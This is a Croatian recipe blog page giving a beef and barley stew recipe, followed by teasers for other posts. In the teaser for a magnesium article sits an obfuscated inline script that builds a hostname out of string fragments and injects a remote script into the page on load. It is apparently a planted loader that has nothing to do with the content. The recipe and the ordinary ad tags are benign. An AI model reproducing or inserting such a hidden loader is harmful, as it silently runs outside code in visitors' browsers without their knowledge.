VARIVO OD JUNETINE I JEČMA





Varivo od junetine i ječma 




Varivo od junetine i ječma odličan je izbor za ručak ili večeru kada želite pojesti “konkretno” jelo na žlicu koje se priprema bez pretjerano truda i muke. Varivo se radi od ove dvije osnovne namirnice i korjenastog povrća u temeljcu, crvenom vinu i rajčicama.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>



Varivo od junetine i ječma 


Sastojci:

  • 1,5 l mesnog temeljca
  • 800 g juneće lopatice
  • 400 g sjeckanih rajčica iz konzerve
  • 200 g ječmene kaše
  • 125 ml crvenog vina
  • 3 mrkve
  • 3 stapke celera
  • 3 žlice koncentrata rajčice
  • 2-3 češnja češnjaka
  • 2 žlice jabučnog octa
  • 1 veći luk
  • 1 žlica Worcestershire umaka
  • sol i papar po želji
  • biljno ulje
  • svježi peršin
  • grančice timijana
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>



Priprema:

  1. Juneću lopaticu narežite na kocke otprilike iste veličine, oko 1-2 centimetara. Meso posušite papirnatim ručnikom, pa ga dobro začinite sa solju i paprom. U velikom loncu zagrijte nešto biljnog ulja, pa na njemu prepržite kockice junetine – zapecite ih sa svih strana dok ne dobiju lijepu zlatno-smeđu boju. Izvadite meso iz lonca i stavite sa strane.
  2. Na preostaloj masnoći prepirjajte nasjeckani luk, mrkvu i celer – pirjajte povrće oko 10 minuta dok ne omekša. Dodajte nasjeckani češnjak i nastavite pirjati sve zajedno oko pola minute.
  3. U lonac dodajte koncentrat rajčice, sve dobro promiješajte i termički obrađujte još oko minute. Potom deglazirajte lonac crvenim vinom - sastružite zapečene komadiće s dna lonca i kuhajte par minuta.
  4. Vratite zapečeno meso u lonac, podlijte ga mesnim temeljcem i sjeckanom rajčicom iz konzerve. Začinite sa solju i paprom, te dodajte nekoliko grančica timijana. Pustite da varivo zakuha, a potom ga kuhajte na laganoj vatri oko 45 minuta.
  5. Potom dodajte ječemu kašu i Worcestershire umak i nastavite sve zajedno kuhati još otprilike 45-55 minuta, odnosno dok kaša i meso nisu termički obrađeni do kraja. Na kraju kuhanja izvadite grančice timijana iz lonca, dodajte nasjeckani peršin i jabučni ocat. Sve dobro promiješajte i poslužite uz krišku domaćeg kruha. Dobar tek!
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više